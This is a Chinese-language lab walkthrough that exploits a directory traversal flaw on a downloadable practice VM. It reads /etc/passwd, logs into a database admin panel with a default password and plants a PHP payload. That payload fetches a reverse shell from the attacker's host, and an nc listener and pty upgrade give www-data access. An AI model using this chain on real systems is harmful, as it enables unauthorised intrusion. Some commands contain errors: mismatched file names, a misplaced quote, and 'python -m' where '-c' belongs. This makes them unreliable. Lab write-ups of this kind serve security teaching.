在开始之前,先介绍一下目录遍历漏洞的原理
目录遍历漏洞原理比较简单,就是程序在实现上没有充分过滤用户输入的…/之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。这里的目录跳转符可以是…/,也可是…/的ASCII编码或者是unicode编码等。
靶机
链接:https://pan.baidu.com/s/1rkcs2rhBPch3Q5beSZJ4Rg
提取码:20td
漏洞复现过程
- 使用netdiscover发现存活主机
netdiscover -i eth0
- 使用nmap进行服务探测
nmap -sV 172.20.10.9
- 使用nmap时并没有发现有明显的可利用漏洞,因此使用OWSAP_ZAP进行web漏洞扫描
- 使用OWSAP_ZAP时发现目标网站存在目录遍历漏洞
- 访问目标的URL地址,得到以下信息
- 不难发现,页面返回的是/etc/passwd的秘密文件信息
- 使用dirb进行目录挖掘
dirb http://172.20.10.9
- 发现了dbadmin后台数据库,尝试使用admin密码登录成功
- 若在实战中尝试失败,可以利用sql-post注入等使用sqlmap进行密码爆破
- 进入数据库后,点击创建一个shell.php数据库
- 生成一个php的shellcode代码,用于反弹网站的webshell
cd /usr/share/webshells/php
cp php-reverse-shell.php /root/Desktop/shell.php
- 编辑shellcode.php文件,IP地址设置为本机ip,端口为自己想要侦听的端口
- 完善数据库信息,在Default Value值出填入以下代码用于执行shellcode
- 要在Default Value填入的字段
<?php system("cd /tmp;wget http://172.20.10.7:8000/shellcode.php;chmod +x shell.php;php shell.php);"?>
- 使用python快速搭建一个http的web服务,默认开启的是8000端口
python -m "SimpleHTTPServer"
- 使用nc命令监听4444端口
nc -nlvp 4444
- 将最后的etc%2Fpasswd字段值替换为/usr/databases/shell.php即可反弹webshell
- 反弹成功
- 使用python命令优化终端
python -m "import pty; pty.spawn('/bin/bash')"
- 成功获取www-data用户权限